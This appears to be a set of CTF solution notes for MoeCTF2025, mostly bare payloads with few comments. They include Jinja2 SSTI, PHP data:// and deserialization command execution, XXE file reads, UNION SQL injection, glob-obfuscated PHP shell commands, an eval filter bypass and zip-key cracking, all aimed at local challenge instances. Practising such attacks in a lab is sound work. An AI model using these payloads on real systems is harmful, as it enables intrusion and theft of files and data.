MoeCTF2025

(() => {
    const TICK = 120;          // 点数字间隔

    /* 1. 劫持 fetch（/get_challenge） */
    const _fetch = window.fetch;
    window.fetch = function (...args) {
        return _fetch.apply(this, args).then(resp => {
            const url = String(args[0]);
            if (url.includes('/get_challenge')) {
                resp.clone().json().then(d => {
                    if (d.numbers?.length === 9) {
                        console.log('[+] 拿到 numbers：', d.numbers.join(''));
                        autoClick(d.numbers);
                    }
                });
            }
            return resp;
        });
    };



    function autoClick(arr) {
        let i = 0;
        const next = () => {
            if (i === 9) { console.log('[+] 数字点击完成'); return; }
            const btn = [...document.querySelectorAll('.inputContentBtnAreaItem')]
                        .find(b => b.dataset.value == arr[i]);
            if (btn) btn.click();
            i++;
            setTimeout(next, TICK);
        };
        next();
    }

    console.log('[+] 劫持已注入，点“开始挑战”即可');
})();

/?file=data://text/plain,<?php system('ls -la /');?>

/?file=data://text/plain,<?php echo file_get_contents('/flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt');?>

document.getElementById('passwordInput').value = '你要粘贴的万言咒内容';

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<contract>
    <解析>&xxe;</解析>
</contract>

from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    if 'username' in request.args or 'password' in request.args:
        username = request.args.get('username', '')
        password = request.args.get('password', '')

        if not username or not password:
            login_msg = """
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
            </div>
            """
        else:
            login_msg = render_template_string(f"""
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
            </div>
            """)
    else:
        login_msg = ""

    return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

?username={{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=test
//外层是 Jinja2 模板语法，内层是 Python 对象操作语法。

1' UNION SELECT table_name, 1 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -

1' UNION SELECT column_name, 1 FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1-- -

1' UNION SELECT value, 1 FROM flag-- -

import requests
from itertools import permutations
import time

# 基础URL - 请替换为实际的题目URL
BASE_URL = "http://127.0.0.1:58578/"  # 替换成实际地址

# 所有可能的参数名排列
letters = ['m', 'n', 'o', 'p', 'q']
all_permutations = [''.join(p) for p in permutations(letters)]

print(f"共有 {len(all_permutations)} 种可能的参数名排列")
print("开始爆破...\n")

# 目标响应长度
TARGET_LENGTH = 19704

found = False

for i, param_name in enumerate(all_permutations, 1):
    # 构造URL：参数名=参数值
    params = {param_name: param_name}

    try:
        response = requests.get(BASE_URL, params=params, timeout=5)

        # 打印进度
        print(f"尝试 {i:3d}/120: {param_name} - 状态码: {response.status_code}")

        # 检查响应长度是否为目标长度
        if len(response.text) == TARGET_LENGTH:
            print("\n" + "=" * 50)
            print(f"找到目标！响应长度为 {TARGET_LENGTH}")
            print(f"成功的URL: {response.url}")
            print("-" * 30)
            print("响应体内容:")
            print(response.text)
            print("=" * 50)
            found = True
            break  # 找到后立即退出循环

        # 避免请求过快被屏蔽
        time.sleep(0.1)

    except requests.RequestException as e:
        print(f"尝试 {i:3d}/120: {param_name} - 请求错误: {e}")

print("\n爆破完成！")
if not found:
    print(f"未找到响应长度为 {TARGET_LENGTH} 的请求。")

<?php
// 定义与目标应用同名的空类（仅为生成同名序列化对象）

class Person
{
    public $name;
    public $id;
    public $age;
} 
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}

// 构造链
$a = new PersonA();
$a->name = null;            // 在 PersonB->__invoke 时会被改写为 PersonC 实例
$a->id   = "check";         // PersonA->__destruct 会调用 PersonC->check(...)
$a->age  = "cat /flag";     // 要执行的命令（会被传给 check）

$b = new PersonB();
$b->id   = $a;              // PersonB->id 指向 PersonA
$b->name = "'../flag.php'";     // 在 __invoke 中会被写入 PersonA->age（冗余但保持链一致）
$b->age  = null;

$c = new PersonC();
$c->id   = $b;              // 触发 __wakeup 时会调用 $b($this) -> PersonB::__invoke
$c->name = "file_get_contents";      // PersonC::check 中会调用这个可调用名 -> passthru("cat /flag")
$c->age  = null;

// 生成 payload
$payload = serialize($c);

echo "=== urlencoded ===\n";
echo urlencode($payload) . "\n\n";

?shell=?><?=`/???/??? /????/????/???????.???`?>

?><?= `. /???/????????[@-[]`?>

POST /?shell=?%3E%3C?=%20`.%20/???/????????[@-[]`?%3E HTTP/1.1
Host: 127.0.0.1:34892
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 116


----------123
Content-Disposition:form-data;name="file";filename="1.txt"

#!/bin/sh
cat /flag
----------123--

/proc/self/environ

def chall():
    user_input = input("Give me your code: ")

    # 过滤关键字
    forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
    for keyword in forbidden_keywords:
        if keyword in user_input:
            print(f"Forbidden keyword detected: {keyword}")
            return

    result = eval(user_input)

binwalk -e aa.zip --run-as=root

echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > mingwen
./bkcrack -C flag.zip -c 明文.exe -p mingwen -o 64
./bkcrack -C flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt

git log -- flag.txt
git restore --source=HEAD --staged --worktree -- flag.txt